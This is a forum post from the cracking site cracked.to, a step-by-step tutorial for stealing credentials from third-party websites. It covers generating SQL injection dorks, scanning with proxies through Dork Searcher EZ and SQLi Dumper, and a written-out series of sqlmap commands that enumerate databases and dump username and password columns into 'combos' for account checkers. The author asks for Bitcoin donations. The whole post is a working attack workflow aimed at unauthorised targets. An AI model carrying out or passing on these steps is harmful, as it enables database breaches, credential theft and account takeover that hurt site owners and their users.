MarshallProxy
New member
- Joined
- Nov 26, 2018
- Messages
- 124
- Points
- 0
Hello cracked.to community
In this tutorial you will learn how to crack and get HQ accounts
[hide]
Introduction:
Hi, my name is MarshallProxy.
OK let's move on.
Things you will need:
2. sqlmap
5. Dork Searcher EZ
6. HTTP/HTTPS Proxies
You can find/buy them right here on cracked.to
That is everything we need to get started
Making dorks:
1. Open N3RoX SQLi Dorks Generator
2. Write your keywords
3. Press the 'Generate Dorks' button
And there you go.
You just generated some dorks. They aren't HQ but expect a tutorial on that.
If you are lazy you can find/buy HQ dorks here on cracked.to
Dork Searcher EZ:
1. Open Dork Searcher EZ
2. Press the 'Source' button and select the file with the previously generated dorks
3. Press the 'Proxies' button and select the file with the proxies
4. Press the 'Start' button
That's it for Dork Searcher EZ. You could do this with SQLi Dumper but it is very slow.
Let's move on.
SQLi Dumper:
1. Open up SQLi Dumper
2. Import the file with the URL's from Dork Searcher EZ
3. Press the 'Exploitables' tab
4. Press the 'Start Exploiter' button and wait until it has finished
5. Press right-click and Select all
6. Press right-click again and press Clipboard
sqlmap:
1. Make a .txt file named 'urls' in the sqlmap directory
2. While in the sqlmap directory press shift and right-click at the same time and press Open command window here
3. Type in this command and wait
Code:
sqlmap.py -m "urls.txt" --random-agent -f --batch -o --tables --output-dir=OUTPUT
4. Put the Cleaner.py in the OUTPUT folder and run it
5. Type in this command and replace "yoururl" with the URL you want to inject
Code:
sqlmap.py -u "yoururl" --batch --dbs --output-dir=OUTPUT
6. Type in this command and replace "yoururl" with the URL you want to show the tables of
Code:
sqlmap.py -u "yoururl" --batch -D "Database Name" --tables --output-dir=OUTPUT
7. Type in this command and replace "yoururl" with the URL you want to show the columns of and replace "Tablename" with the name of the table you want to show the columns of
Code:
sqlmap.py -u "yoururl" --batch -D "Database Name" -T "Tablename" --columns --output-dir=OUTPUT
8. Type in this command and replace "yoururl" with the URL you want to show the columns of and replace "Tablename" with the name of the table you want to show the columns of and replace "Columns" with the name of the column you want to dump the data from
Code:
sqlmap.py -u "yoururl" --batch -D "Database Name" -T "Tablename" -C "Columns (example: username, pass)" --dump --eta --threads=5 --output-dir=OUTPUT
Now you have a combo that you can use with a checker to get accounts.
You can get checkers here on cracked.to
This took a lot of time to write so i would really appreciate it if you liked this thread and if you can donate some BTC 1MpXsGUcpWzoanhxVTDo7rhWMs3UXcR62w
Keep on cracking!
[/hide]
Leave a like :hype: